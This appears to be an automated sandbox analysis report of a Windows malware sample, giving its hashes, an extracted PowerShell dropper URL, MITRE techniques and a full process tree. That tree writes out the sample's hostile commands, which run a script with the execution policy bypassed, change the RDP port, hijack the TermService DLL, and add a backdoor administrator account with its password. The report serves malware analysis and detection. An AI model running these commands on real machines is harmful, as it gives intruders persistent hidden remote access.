3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd

Analysis

max time kernel
48s
max time network
113s
platform
windows10_x64
resource
win10v20210410
submitted
11-06-2021 15:07

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General

Target

20f307c716a689f4afa3a76b7143db22.exe
Size

6.0MB
MD5

20f307c716a689f4afa3a76b7143db22
SHA1

2fd6796fd158c93b14654240533511af6fec03e5
SHA256

3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd
SHA512

0a8d1b2d0cbd3860df907eb692aa2d775f021822b4d856c051d84e8056a2c1cf893bab68f471b69db0615341dd2dfe78dfac1b79d2239217cfbdf71bfb84061b

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
16	3440	powershell.exe
18	3440	powershell.exe
19	3440	powershell.exe
20	3440	powershell.exe
22	3440	powershell.exe
24	3440	powershell.exe
26	3440	powershell.exe
28	3440	powershell.exe
30	3440	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab60-224.dat	upx
behavioral2/files/0x000400000001a50b-225.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2760	Process not Found
2760	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI648C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_z5xlrcym.peu.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI64DE.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_4qj4enqc.xjh.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI64BC.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI64DD.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI64CC.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3352	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
1432	powershell.exe
1432	powershell.exe
1432	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
4072	powershell.exe
4072	powershell.exe
4072	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe
Token: 36	1432	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeIncreaseQuotaPrivilege	3612	powershell.exe
Token: SeSecurityPrivilege	3612	powershell.exe
Token: SeTakeOwnershipPrivilege	3612	powershell.exe
Token: SeLoadDriverPrivilege	3612	powershell.exe
Token: SeSystemProfilePrivilege	3612	powershell.exe
Token: SeSystemtimePrivilege	3612	powershell.exe
Token: SeProfSingleProcessPrivilege	3612	powershell.exe
Token: SeIncBasePriorityPrivilege	3612	powershell.exe
Token: SeCreatePagefilePrivilege	3612	powershell.exe
Token: SeBackupPrivilege	3612	powershell.exe
Token: SeRestorePrivilege	3612	powershell.exe
Token: SeShutdownPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeSystemEnvironmentPrivilege	3612	powershell.exe
Token: SeRemoteShutdownPrivilege	3612	powershell.exe
Token: SeUndockPrivilege	3612	powershell.exe
Token: SeManageVolumePrivilege	3612	powershell.exe
Token: 33	3612	powershell.exe
Token: 34	3612	powershell.exe
Token: 35	3612	powershell.exe
Token: 36	3612	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeIncreaseQuotaPrivilege	4072	powershell.exe
Token: SeSecurityPrivilege	4072	powershell.exe
Token: SeTakeOwnershipPrivilege	4072	powershell.exe
Token: SeLoadDriverPrivilege	4072	powershell.exe
Token: SeSystemProfilePrivilege	4072	powershell.exe
Token: SeSystemtimePrivilege	4072	powershell.exe
Token: SeProfSingleProcessPrivilege	4072	powershell.exe
Token: SeIncBasePriorityPrivilege	4072	powershell.exe
Token: SeCreatePagefilePrivilege	4072	powershell.exe
Token: SeBackupPrivilege	4072	powershell.exe
Token: SeRestorePrivilege	4072	powershell.exe
Token: SeShutdownPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeSystemEnvironmentPrivilege	4072	powershell.exe
Token: SeRemoteShutdownPrivilege	4072	powershell.exe
Token: SeUndockPrivilege	4072	powershell.exe
Token: SeManageVolumePrivilege	4072	powershell.exe
Token: 33	4072	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 2900	3896	20f307c716a689f4afa3a76b7143db22.exe	76
PID 3896 wrote to memory of 2900	3896	20f307c716a689f4afa3a76b7143db22.exe	76
PID 2900 wrote to memory of 3180	2900	powershell.exe	78
PID 2900 wrote to memory of 3180	2900	powershell.exe	78
PID 3180 wrote to memory of 3976	3180	csc.exe	79
PID 3180 wrote to memory of 3976	3180	csc.exe	79
PID 2900 wrote to memory of 1432	2900	powershell.exe	81
PID 2900 wrote to memory of 1432	2900	powershell.exe	81
PID 2900 wrote to memory of 3612	2900	powershell.exe	85
PID 2900 wrote to memory of 3612	2900	powershell.exe	85
PID 2900 wrote to memory of 4072	2900	powershell.exe	87
PID 2900 wrote to memory of 4072	2900	powershell.exe	87
PID 2900 wrote to memory of 2500	2900	powershell.exe	90
PID 2900 wrote to memory of 2500	2900	powershell.exe	90
PID 2900 wrote to memory of 3352	2900	powershell.exe	91
PID 2900 wrote to memory of 3352	2900	powershell.exe	91
PID 2900 wrote to memory of 1820	2900	powershell.exe	92
PID 2900 wrote to memory of 1820	2900	powershell.exe	92
PID 2900 wrote to memory of 2720	2900	powershell.exe	93
PID 2900 wrote to memory of 2720	2900	powershell.exe	93
PID 2720 wrote to memory of 3252	2720	net.exe	94
PID 2720 wrote to memory of 3252	2720	net.exe	94
PID 2900 wrote to memory of 4080	2900	powershell.exe	95
PID 2900 wrote to memory of 4080	2900	powershell.exe	95
PID 4080 wrote to memory of 2748	4080	cmd.exe	96
PID 4080 wrote to memory of 2748	4080	cmd.exe	96
PID 2748 wrote to memory of 4000	2748	cmd.exe	97
PID 2748 wrote to memory of 4000	2748	cmd.exe	97
PID 4000 wrote to memory of 3600	4000	net.exe	98
PID 4000 wrote to memory of 3600	4000	net.exe	98
PID 2900 wrote to memory of 1432	2900	powershell.exe	99
PID 2900 wrote to memory of 1432	2900	powershell.exe	99
PID 1432 wrote to memory of 716	1432	cmd.exe	100
PID 1432 wrote to memory of 716	1432	cmd.exe	100
PID 716 wrote to memory of 1900	716	cmd.exe	101
PID 716 wrote to memory of 1900	716	cmd.exe	101
PID 1900 wrote to memory of 780	1900	net.exe	102
PID 1900 wrote to memory of 780	1900	net.exe	102
PID 2144 wrote to memory of 3352	2144	cmd.exe	106
PID 2144 wrote to memory of 3352	2144	cmd.exe	106
PID 3352 wrote to memory of 2732	3352	net.exe	107
PID 3352 wrote to memory of 2732	3352	net.exe	107
PID 580 wrote to memory of 3704	580	cmd.exe	110
PID 580 wrote to memory of 3704	580	cmd.exe	110
PID 3704 wrote to memory of 1612	3704	net.exe	111
PID 3704 wrote to memory of 1612	3704	net.exe	111
PID 4080 wrote to memory of 3180	4080	cmd.exe	114
PID 4080 wrote to memory of 3180	4080	cmd.exe	114
PID 3180 wrote to memory of 1820	3180	net.exe	115
PID 3180 wrote to memory of 1820	3180	net.exe	115
PID 2116 wrote to memory of 1120	2116	cmd.exe	118
PID 2116 wrote to memory of 1120	2116	cmd.exe	118
PID 1120 wrote to memory of 1904	1120	net.exe	119
PID 1120 wrote to memory of 1904	1120	net.exe	119
PID 3904 wrote to memory of 3440	3904	cmd.exe	122
PID 3904 wrote to memory of 3440	3904	cmd.exe	122
PID 3440 wrote to memory of 1072	3440	net.exe	123
PID 3440 wrote to memory of 1072	3440	net.exe	123
PID 2752 wrote to memory of 1472	2752	cmd.exe	126
PID 2752 wrote to memory of 1472	2752	cmd.exe	126
PID 1472 wrote to memory of 2748	1472	net.exe	127
PID 1472 wrote to memory of 2748	1472	net.exe	127
PID 1904 wrote to memory of 4012	1904	cmd.exe	130
PID 1904 wrote to memory of 4012	1904	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe
"C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qc1klqpt\qc1klqpt.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2BE8.tmp" "c:\Users\Admin\AppData\Local\Temp\qc1klqpt\CSC181D763AEC2E4430B3911E3EB82E42B0.TMP"
      4⤵
      PID:3976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2500
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3352
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1820
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3252
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2748
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4000
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3600
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:716
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1900
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:780
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3976

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:2732

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc GaRyvMGs /add
1⤵
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\system32\net.exe
  net.exe user wgautilacc GaRyvMGs /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc GaRyvMGs /add
    3⤵
    PID:1612

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1820

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:1904

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1072

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc GaRyvMGs
1⤵
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\system32\net.exe
  net.exe user wgautilacc GaRyvMGs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc GaRyvMGs
    3⤵
    PID:2748

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:4012

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1612
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1036

C:\Windows\System32\cmd.exe
